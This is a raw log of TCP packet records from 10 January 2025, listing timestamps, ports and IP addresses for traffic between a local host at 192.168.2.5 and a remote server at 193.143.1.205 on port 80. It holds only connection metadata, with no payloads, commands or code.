Jan 10, 2025 21:29:42.300225019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.311615944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.311635971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.311661959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.311676979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.311692953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.311691999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.311708927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.311712980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.311739922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.322069883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322103977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322119951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322144985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.322180033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.322201967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322218895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322236061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322248936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322259903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.322267056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322290897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.322376013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322391033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322407007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.322412014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.322452068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.341727972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.341752052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.341768980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.341810942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.382491112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382508993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382524014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382539988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382554054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382567883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382581949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382597923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382611990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382627964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382628918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.382643938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382672071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.382672071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.382683992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.382802010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382819891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382834911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382852077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382862091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.382900000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.382913113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382927895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382944107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382957935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.382965088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.382992029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.412734985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.412781000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.412843943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.412870884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.412914038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.412960052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.412965059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413016081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413048029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413057089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413081884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413122892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413160086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413193941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413225889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413234949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413276911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413307905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413326025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413341999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413358927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413372993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413397074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413413048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413430929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413461924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413470030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413496971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413532019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413548946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413585901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413614035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413628101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413645029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413676977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413685083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413708925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413742065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413774014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413788080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413806915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413815022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413841009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413875103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413885117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413908958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.413964987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.413995028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414045095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414088964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.414093971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414125919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414159060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414165020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.414191008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414223909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414227962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.414257050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414289951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414298058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.414321899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414355993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414361000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.414383888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414424896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.414716959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414752007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414784908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414794922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.414818048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414850950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414856911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.414881945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414915085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414927006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.414947033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414980888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.414999962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.415013075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.415045977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.415050983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.415080070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.415113926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.415118933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.415147066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.415179968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.415190935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.415214062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.415251970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.417200089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.418811083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.418844938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.418878078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.418987989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419019938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419054031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419101000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419133902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419159889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419172049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419192076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419204950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419236898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419245005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419270039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419302940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419311047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419353008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419384956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419419050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419509888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419543982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419552088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419580936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419612885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419624090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419646978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419681072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419691086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419832945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419866085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419878960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419899940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419931889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.419941902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.419986010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420022011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420031071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.420057058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420084953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420098066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.420119047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420160055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.420175076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420238972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420272112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420279980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.420305014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420339108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420346022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.420371056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420403957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420412064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.420438051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.420474052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.421526909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.469075918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469136000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469166994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469202995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.469217062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469268084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469273090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.469317913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469352007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469358921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.469381094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469419956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.469432116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469466925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469510078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.469511986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469546080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469578028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469584942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.469610929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469639063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469646931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.469672918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469707966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469713926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.469736099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.469777107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.499402046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499456882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499506950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499521017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.499541044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499593973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.499596119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499644995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499687910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.499695063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499727011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499759912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499767065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.499788046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499820948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499834061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.499871969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499914885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.499917984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.499968052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500010014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500016928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500051022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500083923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500091076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500132084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500164986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500190973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500197887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500237942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500248909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500282049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500323057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500346899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500395060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500425100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500437975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500474930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500507116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500515938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500539064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500585079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500587940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500619888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500653028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500660896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500684023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500720978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500721931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500770092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500802994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500807047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500834942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500868082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500878096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500900984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500933886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.500955105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.500968933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501008987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501013994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501060963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501094103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501101017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501142025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501178980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501184940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501211882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501245022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501251936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501277924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501311064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501317978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501343012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501383066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501391888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501440048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501483917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501488924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501521111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501554012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501559973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501610994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501652002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501667976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501699924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501734018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501739979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501766920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501800060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501807928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501832008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501864910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501872063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501897097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501929998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501935959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.501964092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.501996040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502006054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502029896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502063036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502091885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502094984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502127886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502137899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:29:42.502161026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502193928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:29:42.502207041 CET	49704	80	192.168.2.5	193.143.1.205
